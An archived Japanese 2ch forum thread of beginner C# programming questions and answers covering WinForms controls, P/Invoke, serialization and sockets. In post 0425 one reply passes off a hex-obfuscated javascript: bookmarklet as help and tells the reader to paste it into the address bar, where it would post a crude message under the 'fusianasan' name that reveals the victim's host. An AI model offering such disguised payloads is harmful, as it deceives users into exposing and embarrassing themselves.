ふらっとC♯(Part5)
■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさん
NGNG「どんなにくだらないC#プログラミングに関する発言でも誰かが優しくレスをしてくれるスレッド」です。
ほかのスレッドでは恐ろしくて書き込めないような低レベル、もしくは質問者自身なんだか意味がよく分からない質問など、
勇気をもって書き込んでください。
少しずつC#プログラマを名乗るものが現れました。みなさん一緒に勉強しましょう。
前スレッドはこちら
http://pc2.2ch.net/test/read.cgi/tech/1059028988/l50 (Part4)
http://pc2.2ch.net/test/read.cgi/tech/1047210828/l50 (Part3)
http://pc2.2ch.net/test/read.cgi/tech/1035895873/l50 (Part2)
http://pc2.2ch.net/test/read.cgi/tech/1023766485/l50
0412408
NGNGどうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";
これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
0413デフォルトの名無しさん
NGNG実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。
//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。
0414デフォルトの名無しさん
NGNGそのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag; //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。
つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
0415デフォルトの名無しさん
NGNG試したところ上手くいきました。ありがとうございました。
意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
0416デフォルトの名無しさん
NGNG目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。
RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);
を一行で済ませただけだよ。
0417デフォルトの名無しさん
NGNG個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。
0418デフォルトの名無しさん
NGNGC#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。
0419デフォルトの名無しさん
NGNGSE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
http://www.gihyo.co.jp/books/syoseki.php/4-7741-1767-6
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?
0420デフォルトの名無しさん
NGNG> 「開く」「保存」「キャンセル」のボタンがあるやつです。
それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
0421418
NGNGものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。
0422418
NGNG用意されてないの?自分でつくらないといけないの?
0423デフォルトの名無しさん
NGNGYesNoCancel程度ならMessageBoxで済むし。
0424デフォルトの名無しさん
NGNGあった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
0425デフォルトの名無しさん
NGNGjavascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。
0426デフォルトの名無しさん
NGNG自動的に選択するようにしたいんですが、どうやったらいいですか?
0427デフォルトの名無しさん
NGNGMouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。
激しく鬱陶しそうなUIだな。
実用にならない気がする。
0428デフォルトの名無しさん
NGNG0429デフォルトの名無しさん
NGNGトレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます
typedef struct tagMCI_OPEN_PARMSW {
DWORD_PTR dwCallback;
MCIDEVICEID wDeviceID;
LPCWSTR lpstrDeviceType;
LPCWSTR lpstrElementName;
LPCWSTR lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?
0430デフォルトの名無しさん
NGNGそれだけなら
public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd);
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
で良さそうだけど。
//開閉状態のチェックは色々難しいところがあるようだ……。
ttp://forums.belution.com/ja/vc/000/153/83s.shtml
0431デフォルトの名無しさん
NGNGStringBuilder sb = new StringBuilder(256);
uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero);
if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック
mciSendString("set Hoge door open", null, 0, IntPtr.Zero);
0432429
NGNGSendStringで開閉できたんですねorz
ありがとうございました
0433デフォルトの名無しさん
NGNGメッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、
private void richTextBox1_TextChanged(object sender, System.EventArgs e)
{
richTextBox1.SelectionLength = 0;
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
richTextBox1.Focus();
richTextBox2.Focus();
//もしくは
//richTextBox1.SelectionStart = richTextBox1.Text.Length;
//richTextBox1.Select();
//richTextBox1.Focus();
//richTextBox2.Focus();
}
とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、
このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。
richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。
0434467
NGNGFocus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました
0435433
NGNG0436デフォルトの名無しさん
NGNG[]とかの正規表現に使う文字列がうまく検索できないみたいなんですけど
これって普通に[]とかを検索したい場合、検索したい文字列を自分で
変換したりする必要があるんですか?
それとも他に何か簡単な方法があるんでしょうか?
教えてくださいお願いします。
0437デフォルトの名無しさん
NGNG一体何でどうやって文字列の検索をしてるのかな。
0438デフォルトの名無しさん
NGNG0439デフォルトの名無しさん
NGNGレスありがとうございます。
検索の方法はコンボボックスのテキストから
ループさせて毎回比べるようなやり方で検索しています。
for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
{
string s = DataGrid.Rows[i].Cells[0].Value.ToString();
int a = s.IndexOf(sStripPanel1.Text);
if (a!= -1)
{
結果表示
}
}
意味不明なことしてたらすみません。。。
RegexクラスのIsMatchでもやってみたんですけど
正規表現に使うらしい文字列?を入力するとエラーが出ました。
0440デフォルトの名無しさん
NGNG> for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
最後のRowはチェックしないのな。
String.IndexOfは正規表現由来のメタ文字なんか考慮しない。
"abc[def]g".IndexOf("[d")は3を返す。
//まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。
実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら?
sStripPanel1.Textが意外な文字列になってる可能性がある。
念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。
0441デフォルトの名無しさん
NGNGどうもありがとうございます。
>最後のRowはチェックしないのな。
します、直します( ´Д⊂ヽ
IndexOfで普通にできるのが分かっただけでも良かったです。
たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。
色々やってみます。ありがとうございましたm(_ _)m
0442デフォルトの名無しさん
NGNG書籍かWEBで適当な入門書があったら教えてください。
C#によるコンポーネントプログラミング
(ttp://www.amazon.co.jp/exec/obidos/ASIN/4274065340/)
にはビジュアルなコントロールの作り方しか載っていませんでした。
よろしくお願いします。
0443デフォルトの名無しさん
NGNGそりゃ漠然としすぎてて書きようがないからじゃないかなぁ。
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vbcon/html/vbconComponentAuthoring.asp
ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm
を参照にする。
まあ、Componentを継承させときゃいいよ、うん。
0444在日外国人参政権反対
NGNG.NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?
0445デフォルトの名無しさん
NGNGありがとうございます。
ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。
>>444
いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、
ラッパーコンポーネントを作ろうと思っています。
0446デフォルトの名無しさん
NGNGdataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、
見つける方法ないですか?
ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。
0447446
NGNG0448デフォルトの名無しさん
NGNGdataGrid.DataSource.Rows[dataGird.CurrentRowIndex];
つか設計おかしいよ。順番気にしてる時点で。
0449デフォルトの名無しさん
NGNGわけあってDataGridをListViewのように使ってるんです。
で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。
0450デフォルトの名無しさん
NGNG主キーのところの値が完全一致するのを探せば良いんじゃない?
//カラムの並びを入れ替えられるとお手上げかな。
0451デフォルトの名無しさん
NGNGやっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。
ありがとうございました。
0452デフォルトの名無しさん
NGNGCurrencyManagerを使えばできないかな
0453デフォルトの名無しさん
NGNGttp://dobon.net/vb/dotnet/datagrid/currentrow.html
0454デフォルトの名無しさん
NGNGSend()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。
やっぱできないのでしょうか。。。。
0455デフォルトの名無しさん
NGNGxmlSerializer.Serialize(ms, obj);
byte[] bytes = ms.ToArray();
socket.Send(bytes, 0, bytes.Length);
ということかな?
0456デフォルトの名無しさん
NGNGMemoryStream
0457デフォルトの名無しさん
NGNG0458454
NGNGありがとうございます、MemoryStreamをつかうんですね
ためしてみます(`・ω・´)
0459デフォルトの名無しさん
NGNGthis.TopMost = !this.TopMost;
とやると常に手前にしたときにメインメニューのドロップダウンの部分が
フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?
0460デフォルトの名無しさん
NGNGあれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。
サードパーティ製のものもあるにはあるのですが、
せっかくなので自分で作ってみたいのです。
0461在日外国人参政権反対
NGNG自分で気合で描画することを進めます。
0462454
NGNG>>455を参考にやってみましたが、うまくいかず(´・ω・`)
デシリアライズはこれでいいんですよ・・・ね・・・?
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
0463デフォルトの名無しさん
NGNGMemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
msRead.Position = 0; // コレ追加よろ
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
0465デフォルトの名無しさん
NGNGちまちまやってみますわ。
.net 2.0になっても各種コントロールはショボイままだった…。
幾つか良くなったのもあるけど。
0466デフォルトの名無しさん
NGNG7995.005229
とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか?
Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)
0467デフォルトの名無しさん
NGNGdoubleにしてからintに落とせば?
0468デフォルトの名無しさん
NGNG基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。
そういうのはサードパーティの仕事です。
0469デフォルトの名無しさん
NGNGやFlexGridなどの解説本を探してみたのだが、全然見つからないね。
ヘルプだけ見て使いこなせということなんだろうか。
0470466
NGNGいけました。ありがとうございました
0471デフォルトの名無しさん
NGNGまぁ今の".NET Framework"はそうかもしれないけど、
いずれWindowsのAPIになっていくわけでしょ。
そうするとやっぱりWindowsが提供するネイティブコントロールは
しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。
0472デフォルトの名無しさん
NGNGVS標準のCrystalReportも日本語だとあまり情報ないよね。
仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから
しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。
0473在日外国人参政権反対
NGNGWindows.Formsにまとめてるのはその意図を汲んでのことだろう。
だからこそそれを拡充させてほしい気はする。
0474デフォルトの名無しさん
NGNGforeach ( UserList logoutUser in listBox1.Items )
{
if ( recMessage.TargetUserID == logoutUser.UserGuid )
{
listBox1.Items.Remove(logout);
}
}
と書くと
System.InvalidOperationException:
この列挙子が連結されている一覧は変更されています。
列挙子は、一覧が変更しない場合に限り使用できます。
とゴルァされるのですが、いい方法ないでしょうか・・・。
0475デフォルトの名無しさん
NGNG0476デフォルトの名無しさん
NGNGforで回してやるとかしな。
0477474
NGNG1回ブツが釣れれば十分なのでbreakかましたらうまくいきました
吊ってきますorz
0478デフォルトの名無しさん
NGNG同じ内容ですが、こちらに書かせてください。
VS.NetのC#でプログラム作ってるんですが、データセットから
テキストボックスにバインドする方法が分からないんです。
といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて
データテーブルのある条件に合致するレコードの項目をバインドしたいんです。
例えば
Key 列1 列2
001 1AAA 1BBB
002 2AAA 2BBB
003 3AAA 3BBB
004 4AAA 4BBB
005 5AAA 5BBB
みたいなデータテーブルから、TextBoxにはKey=003の条件によって
列1の内容(3AAA)をバインドしたいんです。
もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・
お願いします。
0479デフォルトの名無しさん
NGNGusing System.Windows.Forms;
という感じにしておいた部分を
using System.Windows.NewForms;
とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?
0480デフォルトの名無しさん
NGNG0481デフォルトの名無しさん
NGNGその場合、
using System.Windows.Forms;
↓
using No479.Windows.Forms;
みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。
ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpgenref/html/cpconnamespacenamingguidelines.asp
0482479
NGNGちゃうちゃう
System.Windows.Forms と System.Windows.NetForms の中に、
型は同じだけど挙動の異なるクラスがあったときに、
using 文でどちらを採用するか切り替えるのは邪道かな?って事
0484デフォルトの名無しさん
NGNGそういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。
using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……
0486デフォルトの名無しさん
NGNGusing Hoge = System.Windows.Forms;
Hoge.Form = new Hoge.Form();
で随分楽になると思うけど。
まあ479みたいなのは見たくもないと言うのはよく分かる。
0487デフォルトの名無しさん
NGNGそういうののためにAbstractFactoryとかあるとおもうのだけど。
あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。
ソースごとにusingで切り替えられるのは>>484のいうとおりたちの悪いバグの元。
0488デフォルトの名無しさん
NGNG>>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。
>>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。
とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、
他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである
ということなのしょうか・・・?
MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、
これってWin32API叩くしかないんでしょうか・・・。
0489デフォルトの名無しさん
NGNGなるねー。
.NET2.0ならFlashメソッドってのがあるんだけど。
0490488
NGNG0491デフォルトの名無しさん
NGNGあの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、
プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
探していますが見つからない。
0492デフォルトの名無しさん
NGNGとりあえず
> プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
はPropertyGridだな。こいつは.NET Framework標準。
ドッキングウィンドウは……the Code Projectにあったようななかったような。
0493デフォルトの名無しさん
NGNGを
richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */);
string[] splString = recMessage.Message.Split(new char[] {'#'});
for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){
if ( count != 0 ){
String colorCode = splString[count].Substring(0,1);
switch ( colorCode ){
case "1":
richTextBox1.SelectionColor = System.Drawing.Color.Blue;
richTextBox1.AppendText(splString[count].Substring(1));
break;
(中略)
default :
richTextBox1.AppendText(splString[count]);
break;
}
}else{
richTextBox1.AppendText(splString[count]);
}
}
richTextBox1.AppendText("\r\n");
}
にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?
0494デフォルトの名無しさん
NGNGDockPanelSuite http://sourceforge.net/projects/dockpanelsuite/
無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。
DotNetMagic http://www.dotnetmagic.com/
機能的にはおそらく最強。でも有償。
MagicDocking http://www.codeproject.com/cs/miscctrl/dockingmanagerextender.asp
DotNetMagic の旧バージョン。ライセンスはよくわからん。
SharpDevelopに使われるなど実績あり。
Docking Suite http://www.divil.co.uk/net/controls/dockingsuite/
現在ベータ版。非商用利用に限り無償。
代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。
0495デフォルトの名無しさん
NGNG1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか
2:異常切断されたときイベントなどで通知することを考えているが、
通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか
ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m
0496デフォルトの名無しさん
NGNG1,
byte[] byteAry = 受信データ;
if ( byteAry.Length <= 0 )
{ パイプカット }
2,
ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか
でしゃばってスマソ
0497デフォルトの名無しさん
NGNG1.物理的に切断を瞬間的に不可能。
TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。
2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ
以上。
0498杏仁
NGNGいま、Cで作成されたDLLをDllImportで呼び出しています。
そのDLLの仕様を見ると関数は
void hoge(UINT *pWidth, UINT *pHeight);
とポインタで呼び出していました。
[DllImport("hogehoge.dll")]
public static extern void hoge(int w, int h);
としても当然うまくいきませんでした。
C#でこのような場合ようやってDllImportすればいいのでしょうか?
お手数ですが、お教えください。よろしくお願いします。
0499デフォルトの名無しさん
NGNGref System.UInt32 にする。
(まぁ小さげな値だろうから ref System.Int32 でもいいだろうけど)
0500デフォルトの名無しさん
NGNGSystem.Runtime.InteropServices.Marshal.AllocCoTaskMemでメモリを確保、
System.Runtime.InteropServices.Marshal.WriteInt32で確保したメモリに書き込み、
関数に渡す。
結果をSystem.Runtime.InteropServices.Marshal.ReadInt32で読み込んで
System.Runtime.InteropServices.Marshal.FreeCoTaskMemでメモリを破棄する。
uint*程度でやる事じゃありません。
0501デフォルトの名無しさん
NGNGこれがよくもあり悪くもあり。
0502杏仁
NGNG>>499
> ref System.UInt32 にする。
[DllImport("hogehoge.dll")]
public static extern void hoge(ref System.UInt32 w, ref System.UInt32 h);
ということでしょうか?この場合、どうやって呼び出せばいいのですか?
int w=0;
int h=0;
hoge(w,h);
としてもうまくいきません。
>>500
回答していただいたのにさっぱり・・・。
もう少し分かりやすくお願いできますでしょうか?
最近始めたばかりで、さっぱり右も左も分からない状態です。
よろしくお願いします。
0503デフォルトの名無しさん
NGNGヘルプでrefキーワードぐらい調べようよ〜。
呼び出す時もrefキーワードが必要。
hoge(ref w, ref h);
500はただのジョークだから。こんな手段もあるよってだけ。
//と最後の行で言ったつもりだったんだけど。
0504デフォルトの名無しさん
NGNG蛇足の補足。たぶんこの場合は関係ないだろうけど、ポインタ値が指す領域にある値だけではなく、
そのものに意味がある場合には、System.IntPtr 型にしておいて、ポインタの指す先のアクセスは
>>500 風にやるようなこともある、ってのが >>501 ね(たぶん)。
例えば hoge の正体が hoge(UINT* w, UINT* h) { delete [] w; delete [] h; } みたいな場合とか。
0505デフォルトの名無しさん
NGNG↑
「ポインタ値そのものに意味がある」の編集ミスですた。
0506デフォルトの名無しさん
NGNGprivate void pictureBox1_MouseWheel(object sender, MouseEventArgs e)
{
Console.WriteLine(e.Delta);
}
と記述してるのですが、マウスホイールくるくるしてもpictureBox1_MouseWheelイベントが発生してくれません。
そもそもなんで、MouseWheelだけは手動で書かないといけないのかと(ry
0507デフォルトの名無しさん
NGNGConsole.WriteLine();を、MessageBox.Show("","");
にしても駄目?
0508506
NGNGブレークポイントしかけても反応してくれません。
Panelの上に張ってるのでPanelにもイベントハンドらを記述したのですが
どっちもイベントが発生しないみたいです。
0509デフォルトの名無しさん
NGNG>Control.MouseWheel イベント
> コントロールにフォーカスがあるときにマウス ホイールが動くと発生します。
PictureBoxやPanelはユーザの通常操作ではフォーカスを得る事はない。
0510508
NGNGMouse_EnterしたらFocus()するようにするとうまくいきました。
お騒がせしました。
0511デフォルトの名無しさん
NGNG文法などを一通り理解したら次は何をすべきなんでしょうか?
guiアプリケーションを作れる人は文法などを理解したら次は何をしたんですか?
■ このスレッドは過去ログ倉庫に格納されています